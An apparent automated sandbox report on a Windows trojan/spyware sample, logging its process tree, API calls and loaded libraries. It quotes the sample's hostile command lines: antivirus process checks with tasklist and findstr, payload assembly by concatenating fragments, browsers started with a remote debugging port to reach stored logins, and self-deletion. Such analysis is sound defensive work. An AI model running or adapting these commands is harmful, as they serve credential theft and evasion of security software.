Binary string: #WriteOfflineHivesTerminateSetupModuleds\security\cryptoapi\cryptosetup\cryptosetup.cDCryptoSetup module terminatedCryptoSetupNewRegistryCallBackCryptoSetup EntropyWrite given invalid event typeCryptoSetup EntropyWrite given invalid event data sizeWriteEntropyToNewRegistryCryptoSetup failed to get Ksecdd entropy %08xRNGCryptoSetup failed to open system hive key %08xExternalEntropyCryptoSetup failed to write entropy into the system hive %08xCryptoSetup failed to close system hive key %08xCryptoSetup succeeded writing entropy key\Device\KsecDDWriteCapiMachineGuidCryptoSetup failed get entropy from ksecdd for CAPI machine guid %08x%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02xCryptoSetup failed to convert CAPI machine guid to string %08xMicrosoft\CryptographyCryptoSetup failed get open/create reg key for CAPI machine guid %08xMachineGuidCryptoSetup failed get write CAPI machine guid %08xCryptoSetup assigned CAPI machine guid "%s"

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@97/299@29/24

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_003541FA GetLastError,FormatMessageW,

13_2_003541FA

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00342010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		13_2_00342010
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00341A0B AdjustTokenPrivileges,CloseHandle,		13_2_00341A0B

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0034DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

13_2_0034DD87

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_00353A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

13_2_00353A0E

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\S49SHFPR.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

File created: C:\Users\user\AppData\Local\Temp\nsy3578.tmp

Jump to behavior

Source: 1l1ohfybAf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000013.00000002.2673537579.00005128007C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: xbieu3e3e.13.dr, cjwbaas0h.13.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 1l1ohfybAf.exe

Virustotal: Detection: 13%

Source: C:\Users\user\Desktop\1l1ohfybAf.exe

File read: C:\Users\user\Desktop\1l1ohfybAf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1l1ohfybAf.exe "C:\Users\user\Desktop\1l1ohfybAf.exe"
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 815387
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Panasonic
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Favors" Abstract
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 815387\Cet.com + Critics + Depot + Annie + Recordings + Niagara + Lawsuit + Wines + Fisheries + Newbie 815387\Cet.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Charm + ..\Injuries + ..\Grows + ..\Departments + ..\Directors + ..\Iraq G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\815387\Cet.com Cet.com G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2476 --field-trial-handle=2220,i,10133282409629724002,10201332930015689741,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,1180918715537140953,8811125575275051334,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7004 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7144 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\815387\Cet.com" & rd /s /q "C:\ProgramData\phlng" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7152 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 815387	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Panasonic	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Favors" Abstract	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 815387\Cet.com + Critics + Depot + Annie + Recordings + Niagara + Lawsuit + Wines + Fisheries + Newbie 815387\Cet.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Charm + ..\Injuries + ..\Grows + ..\Departments + ..\Directors + ..\Iraq G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\815387\Cet.com Cet.com G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\815387\Cet.com" & rd /s /q "C:\ProgramData\phlng" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2476 --field-trial-handle=2220,i,10133282409629724002,10201332930015689741,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,1180918715537140953,8811125575275051334,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7004 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7144 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7152 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Section loaded: wininet.dll	Jump to behavior
